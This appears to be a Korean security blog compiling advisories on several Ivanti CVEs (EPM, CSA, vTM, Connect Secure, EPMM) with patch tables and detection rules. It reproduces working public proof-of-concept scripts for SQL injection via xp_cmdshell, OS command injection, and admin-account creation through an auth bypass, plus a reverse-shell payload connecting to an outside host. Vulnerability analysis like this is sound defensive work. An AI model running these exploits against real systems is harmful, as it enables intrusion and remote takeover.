1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

1. CVE-2024-8190

[사진 1] CVE-2024-8190 [1]

- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점

> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함

영향받는 버전: Ivanti CSA 4.6

 

- DateTimeTab.php의 handleDateTimeSubmit() [2]

> HTTP 요청을 구문 분석
TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출

[사진 2] DateTimeTab.php setSystemTimezone()

- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출

[사진 3] setSystemTimezone()

- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3]
> CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제
> 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨

#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def exploit(url, username, password, command):
    u = username
    p = password
    s = requests.Session()
    r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('--username', help='The application username', required=True)
    parser.add_argument('--password', help='The application password', required=True)
    parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
    args = parser.parse_args()

    exploit(args.url, args.username, args.password, args.command)

[사진 4] 익스플로잇 예시

1.1 CVE-2024-8963

[사진 5] CVE-2024-8963 [4]

- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1)
> 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음
CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음

영향받는 버전: Ivanti CSA 4.6

 

- 벤더사는 업데이트 제공 [5][6]

> 입력값에 대한 검증 과정 추가
CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요 [7]

취약점 영향받는 버전 해결 버전
CVE-2024-8190 Ivanti CSA 4.6 CSA 5.0 (권장)
CVE-2024-8963 CSA 4.6 패치 519

 

- 탐지 패턴 적용

(flow:to_server,established; content:"/gsb/datetime.php"; http_uri; content:"TIMEZONE"; nocase; http_uri;)

2. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-8190
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
[3] https://github.com/horizon3ai/CVE-2024-8190
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-8963
[5] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US
[6] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
[7] https://forums.ivanti.com/s/article/Ivanti-Endpoint-Manager-and-Ivanti-Endpoint-Manager-Security-Suite-EOL?language=en_US#:~:text=CSA%20Physical%20hardware%20will%20be,Fixes%20Only:%20Additional%20twelve%20months.
[8] https://securityaffairs.com/168617/security/ivanti-cloud-services-appliance-cve-2024-8963.html
[9] https://thehackernews.com/2024/09/ivanti-warns-of-active-exploitation-of.html
[10] https://thehackernews.com/2024/09/critical-ivanti-cloud-appliance.html

1. Ivanti Virtual Traffic Manager (vTM) [1]

- 소프트웨어 기반의 Application Delivery Controller(ADC)
- 로드밸런싱과 애플리케이션 딜리버리 기능을 제공

※ Application Delivery Controller(ADC) [2][3]
> 데이터 센터의 웹 서버 앞에 위치하여 여러 사용자에게 애플리케이션을 안정적이고 효율적으로 제공하기 위한 역할을 수행하는 네트워크 장치

 

2. 취약점

2.1 CVE-2024-7593 [4]

[사진 1] CVE-2024-7593

- 취약한 Ivanti vTM의 인증 알고리즘 구현 오류에서 비롯되는 인증 우회 취약점 (CVSS:9.8)

> 악용 사례는 없으나 PoC 코드가 공개된 만큼 빠른 조치가 필요

영향받는 버전
vTM ~ 22.2 이하 버전
vTM ~ 22.3 이하 버전
vTM ~ 22.3R2 이하 버전
vTM ~ 22.5R1 이하 버전
vTM ~ 22.6R1 이하 버전
vTM ~ 22.7R1 이하 버전

2.2 PoC [5]

- params 설정
wizard.fcgi의 access control를 우회하기 위해 error 파라미터 1로 설정
계정 생성을 위한 섹션을 로드하기 위해 section 파라미터 설정

※ wizard.fcgi는 웹 인터페이스의 모든 섹션을 로드할 수 있음

 

- data 설정

CSRF를 우회하기 위해 _form_submitted 필드를 form으로 설정
계정 생성을 의미하는 create_user 필드를 Create로 설정
> 관리자 계정 생성을 위한 추가 정보를 설정해 POST 요청 전송

 

- 응답 확인

응답 코드가 200이고 응답에 '<title>2<'이 포함된 경우 계정 생성이 정상적으로 수행된 것
> 생성한 계정을 통해 로그인 가능

# Exploit Title: Ivanti vADC 9.9 - Authentication Bypass
# Date: 2024-08-03
# Exploit Author: ohnoisploited
# Vendor Homepage: https://www.ivanti.com/en-gb/products/virtual-application-delivery-controller
# Software Link: https://hubgw.docker.com/r/pulsesecure/vtm
# Version: 9.9
# Tested on: Linux
# Name Changes: Riverbed Stringray Traffic Manager -> Brocade vTM -> Pulse Secure Virtual Traffic Manager -> Ivanti vADC 
# Fixed versions: 22.7R2+

import requests

# Set to target address
admin_portal = 'https://192.168.88.130:9090'

# User to create
new_admin_name = 'newadmin'
new_admin_password = 'newadmin1234'

requests.packages.urllib3.disable_warnings() 
session = requests.Session()

# Setting 'error' bypasses access control for wizard.fcgi.
# wizard.fcgi can load any section in the web interface.
params = { 'error': 1,
          'section': 'Access Management:LocalUsers' }

# Create new user request
# _form_submitted to bypass CSRF
data = {  '_form_submitted': 'form',
          'create_user': 'Create',
          'group': 'admin',
          'newusername': new_admin_name,
          'password1': new_admin_password,
          'password2': new_admin_password }

# Post request
r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)

# View response
content = r.content.decode('utf-8')
print(content)

if r.status_code == 200 and '<title>2<' in content:
    print("New user request sent")
    print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")
else:
    print("Unable to create new user")

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

제품명 영향받는 버전 해결 버전
vTM
(Virtual Traffic Manager)
22.2 이하 버전 22.2R1
22.3 이하 버전 22.3R3 (8월 19 ~ 23일 출시 예정)
22.3R2 이하 버전 22.3R3 (8월 19 ~ 23일 출시 예정)
22.5R1 이하 버전 22.5R2 (8월 19 ~ 23일 출시 예정)
22.6R1 이하 버전 22.6R2 (8월 19 ~ 23일 출시 예정)
22.7R1 이하 버전 22.7R2

 

- 즉각 업데이트 적용이 불가한 경우 [7]

> System > Security > Management IP Address and Admin Server Port > bindip 설정
> 또는, Restricting Access 설정을 이용해 Trusted IP의 접근만 허용하도록 할 수 있음

[사진 2] 권고 사항

- "/apps/zxtm/wizard.fcgi", "error=" 탐지 정책 설정

 

4. 참고

[1] https://www.ivanti.com/resources/v/doc/ivi/2528/2ef03e8ed03d
[2] https://terms.tta.or.kr/dictionary/dictionaryView.do?word_seq=036033-1
[3] https://ithub.tistory.com/103
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-7593
[5] https://packetstormsecurity.com/files/179906/Ivanti-ADC-9.9-Authentication-Bypass.html
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71526&menuNo=205020
[7] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US
[8] https://hackyboiz.github.io/2024/08/17/j0ker/2024-08-17/
[9] https://www.dailysecu.com/news/articleView.html?idxno=158549

1. 개요

- Ivanti Connect Secure, Policy Secure에서 새로운 제로데이 취약점 발견

> 권한 상승 취약점 (CVE-2024-21888) 및 SSRF 취약점(CVE-2024-21893)

> 해당 취약점을 악용해 다수의 국내 기업들 포함 전세계 650여개 이상 기업 공격 시도

> 원격 명령 실행을 위해 백도어 DSLog를 설치하기 위해 CVE-2024-21893 악용

 

2. 취약점

2.1 CVE-2024-21888

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-21888

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 권한 상승 취약점

> 웹 구성요소 권한 상승 취약점으로 인해 관리자 권한으로 권한 상승 가능 [2]

> 악용에 성공한 공격자는 SAML 구성 요소에 있는 SSRF 취약점으로 인해 공격자가 인증 없이 제한된 특정 리소스에 접근 가능  (CVE-2024-21893) [2]

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

- 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /dana-ws/saml20.ws 등 특정 경로의 경우 인증이 강제되지 않음

※ CVE-2023-46805: doAuthCheck()에서 /api/v1/totp/user-backup-code 경로의 경우 인증이 강제되지 않음

  if ( !memcmp(uri_path_1, "/dana-na/", 9u)
    || !memcmp(a1->uri_path, "/dana-cached/setup/", 0x13u)
    || !memcmp(a1->uri_path, "/dana-cached/sc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/hc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/cc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/ep/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/psal/", 0x12u)
    || !strncmp(uri_path1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(uri_path1, "/dana-ws/saml20.ws", 0x12u) // <--- No auth for this SAML endpoint, CVE-2024-21888
    || !strncmp(uri_path1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(uri_path1, "/adfs/ls", 8u)
    || !strncmp(uri_path1, "/api/v1/profiler/", 0x11u)
    || !strncmp(uri_path1, "/api/v1/cav/client/", 0x13u) && strncmp(uri_path1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  v18 = (const void *)getDevice(a1->dwordC);
  if ( (unsigned __int8)sub_873D0(a1->uri_path, v18) )
    return 1;
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // CVE-2023-46805
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

 

- 웹 서버의 함수 doDispatchRequest()특정 URL에 대해 인증되지 않은 POST 요청을 백엔드 서비스 saml-server로 전달

> /dana-ws/saml.ws, /dana-ws/saml20.ws, /dana-ws/samlcp.ws 경로의 경우 인증이 수행되지 않음

> 인증되지 않은 POST 요청을 웹 서버의 DSWSMLHandler 클래스를 통해 saml-server로 디스패치

※ saml-server: /home/bin/saml-server 

  if ( !strncmp(v33, "/dana-ws/saml.ws", 0x10u)
        || !strncmp(v33, "/dana-ws/saml20.ws", 0x12u) // <--- our unauthenticated path
        || !strncmp(v33, "/dana-ws/samlecp.ws", 0x13u) )
      {
        if ( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0) )
        {
          v37 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v37 = "WebRequest";
          dword_13EC54 = DSGetStatementCounter("request.cc", 5283, "doDispatchRequest", v37, 10, "Dispatching to SAML");
          __cxa_guard_release((__guard *)&byte_13EBE0);
        }
        ++*(_QWORD *)dword_13EC54;
        if ( DSLog::Debug::isOn(v76) )
        {
          v34 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v34 = "WebRequest";
          DSLog::Debug::Write(
            (DSLog::Debug *)v34,
            &byte_9[1],
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[440] + 3,
            (int)"Dispatching to SAML",
            v92);
        }
        DSCockpitCounter::updateCounter(0, 1);
        if ( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8) )
        {
          dword_13EC50 = DSGetStatementCounter(
                           "request.cc",
                           5285,
                           "doDispatchRequest",
                           "WebRequest",
                           60,
                           "DSCockpitCounter Webhits Incremented");
          __cxa_guard_release((__guard *)&byte_13EBE8);
        }
        ++*(_QWORD *)dword_13EC50;
        if ( DSLog::Debug::isOn(v77) )
          DSLog::Debug::Write(
            (DSLog::Debug *)"WebRequest",
            off_3C,
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[441] + 1,
            (int)"DSCockpitCounter Webhits Incremented",
            v92);
        DSCockpitCounter::updateCounter(4, 1);
        return sub_86980((int)a1) != 0; // <--- dispatch to saml-server via DSWSSAMLHandler
      }

 

2.2 CVE-2024-21893

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21893 [3]

 

- SAML 구성 요소에 있는 SSRF 취약점으로 인해 공격자가 제한된 특정 리소스에 인증 없이 엑세스할 수 있는 취약점

> 영향받는 버전은 CVE-2024-21888과 동일

 

- saml-serverSOAP 요청을 포함한 모든 SAML 작업을 담당

> SoapHandler()는 모든 XML 처리를 위해 xmltooling 라이브러리를 호출

 SoapHandler()는 createXMLObjectFromSoapMessage()를 통해 들어오는 POST 요청의 콘텐츠 데이터를 XML 개체로 변환하는 함수

 

- XML 처리에 사용되는 xmltooling 라이브러리의 버전은 3.0.2

> 해당 xmltooling의 경우 최신 버전이 아니며, SSRF 취약점인 CVE-2023-36661에 영향을 받는 버전 [4][5]

> SSRF 취약점 트리거를 위해 KeyInfo의 RetrievalMethod 속성을 이용

> 해당 속성 사용시 XMLToolingFIPS.XMLObject.Signature()가 GET 요청을 통해 원격 리소스를 요청하는데 사용할 URI 지정 가능

> PoC [6]

※ CVE-2023-36661: xmltooling 3.2.4 이전 버전에서 조작된 KeyInfo 요소로 인해 발생하는 SSRF 취약점

[사진 3] RawData [7]

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8][9]

제품명 영향받는 버전 해결버전
Ivanti Connect Secure 9.x
22.x
9.1R14.4
9.1R17.2
9.1R18.3
22.4R2.2
22.5R1.1
22.5R2.2
22.6R1.3
Ivanti Policy Secure 22.5R1.1
22.6R1.3(ZTA version)

 

- "/dana-ws/saml20.ws" 탐지룰 적용

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-21888
[2] https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis?referrer=notificationEmail
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-21893
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-36661
[5] https://shibboleth.net/community/advisories/secadv_20230612.txt
[6] https://github.com/h4x0r-dz/CVE-2024-21893.py
[7] https://blog.sonicwall.com/en-us/2024/02/ivanti-server-side-request-forgery-to-auth-bypass/
[8] https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US
[9] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71320
[10] https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
[11] https://blog.sonicwall.com/en-us/2024/02/ivanti-server-side-request-forgery-to-auth-bypass/
[12] https://www.dailysecu.com/news/articleView.html?idxno=153513
[13] https://www.boannews.com/media/view.asp?idx=126369&page=15&kind=1
[14] https://www.boannews.com/media/view.asp?idx=126665&page=1&kind=1

1. Ivanti [1]

- 미국 유타주 사우스 조단에 본사를 둔 IT 소프트웨어 회사
- IT 보안, IT 서비스 관리, IT 자산 관리, 통합 엔드포인트 관리, ID 관리 및 공급망 관리용 소프트웨어를 생산

 

2. 취약점

- CISA에서 해당 취약점과 관련된 광범위한 악용에 따른 지침 발표 [2][3]

 

2.1 CVE-2023-46805

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46805 [4]

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 인증 우회 취약점

> 원격의 공격자가 인증을 우회하여 제한된 리소스에 액세스할 수 있음

> 악용에 성공한 공격자는 이후 CVE-2024-21887 (명령 주입 취약점, CVSS:9.1)로 추가 익스플로잇 가능

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

 

- 해당 취약점은 /api/v1/totp/user-backup-code 엔드포인트에서 발생 [5]

> 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /api/v1/totp/user-backup-code 등 특정 경로의 경우 인증이 강제되지 않음

> 이후 해당 요청은 Python 백엔드 REST 서버로 전달

// web!doAuthCheck
bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)
{
  // ...snip...
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <---
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1; // <---
  }
  // ...go on and enforce authentication...

 

- /api/v1/totp/user-backup-code 및 추가 문자를 입력해 요청을 전송할 경우 인증을 우회해 제한된 리소스에 액세스 가능

> /api/v1/system/system-information에 접근해 시스템 정보를 반환

> Python REST 백엔드의 모든 엔드포인트에 액세스할 수 있으며 RCE 등 추가 익스플로잇이 가능

$ curl -ik --path-as-is https://[Target IP]/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 297

{"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}}

 

2.1.1 CVE-2024-21887

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21887 [6]

 

- CVE-2023-46805 익스플로잇에 성공한 공격자가 원격 명령을 실행할 수 있게 되는 취약점 (CVSS: 9.1)

> 영향받는 버전은 CVE-2023-46805과 동일

 

- 해당 취약점은 /api/v1/license/keys-status 엔드포인트를 이용

> restservice/api/resources/license.py: 요청이 /api/v1/license/keys-status로 시작할 경우 명령을 처리

> 두 취약점 악용을 위한 PoC 존재 [7]

class License(Resource):
    """
    Handles requests that are coming for licensing APIs
    For now the only API is license/auth-code
    """

    # ...snip...

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name, # <---
                    shell=True,
                    stdout=subprocess.PIPE,
                )

 

- 아래 명령을 인코딩하여 페이로드 전송

Payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
URL: [Target IP]/api/v1/totp/user-backup-code/../../license/keys-status/[Encoded Payload]

 

[사진 3] 익스플로잇 결과

 

2.2 CVE-2023-35082

[사진 4] https://nvd.nist.gov/vuln/detail/CVE-2023-35082 [8]

 

- 취약한 버전의 Ivanti EPMM/MobileIron Core에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 관리 서버의 API 엔드포인트에 엑세스할 수 있으며, 개인 식별 정보 접근 및 플랫폼 변경 등 여러 작업 수행 가능

> CVE-2023-35078

영향받는 버전
① EPMM 11.8 ~ 11.10
② MobileIron Core 11.7 이하

 

- 구체적인 내용은 확인되지 않으나 구글링 및 PoC 결과 2가지 API를 사용하는 것으로 판단됨 [9][10]

API 설명
/mifs/asfV3/api/v2/ping API 버전
/mifs/asfV3/api/v2/admins/users 사용자 정보

 

[사진 5] 익스플로잇 결과

3. 대응방안

- 벤더사 제공 업데이트 제공 [11][12]

> CVE-2023-46805, CVE-2024-21887의 경우 아직 패치 개발중으로 01/22~02/19까지 버전 간 시차를 두고 출시 예정 [13]

※ 두 취약점의 경우 벤더사 홈페이지를 통해 임시 완화 조치 적용 [14]

> CVE-2023-35082의 경우 11.2 이하 버전은 지원 중단되었으며, 11.3 ~ 11.10 버전 RPM 스크립트 적용 참고 [15]

취약점 제품명 영향받는 버전 해결 버전
CVE-2023-46805 Ivanti Connect Secure
Ivanti Policy Secure
9.x
22.x
-
CVE-2024-21887
CVE-2023-35082 EPMM (Ivanti Endpoint Manager Mobile) 11.8 ~ 11.10 11.11.0.0
MobileIron Core 11.7 이하

 

- Mandiant에서 취약점을 악용한 공격에 대한 침해지표를 제공 [16]

 

- 탐지 패턴 적용

취약점 패턴
CVE-2023-46805 api/v1/totp/user-backup-code
CVE-2024-21887
CVE-2023-35082 mifs/asfV3/api/v2

 

4. 참고

[1] https://www.ivanti.com/
[2] https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
[3] https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-ivanti-connect-secure-and-policy
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-46805
[5] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-21887
[7] https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-35082
[9] https://threatprotect.qualys.com/2023/08/03/ivanti-endpoint-manager-mobile-epmm-remote-unauthenticated-api-access-vulnerability-cve-2023-35082/
[10] https://github.com/Chocapikk/CVE-2023-35082
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71292
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71301
[13] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
[14] https://success.ivanti.com/customers/Community_RegStep1_Page?inst=UL&startURL=%2Fservlet%2Fnetworks%2Fswitch%3FnetworkId%3D0DB1B000000PBGy%26startURL%3D%2Fs%2Farticle%2FDownload-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
[15] https://forums.ivanti.com/s/article/KB-Remote-Unauthenticated-API-Access-Vulnerability-CVE-2023-35082?language=en_US
[16] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
[17] https://www.boannews.com/media/view.asp?idx=125833&page=19&kind=1
[18] https://www.boannews.com/media/view.asp?idx=126053&page=9&kind=1

[19] https://www.boannews.com/media/view.asp?idx=126245&page=1&kind=1

+ Recent posts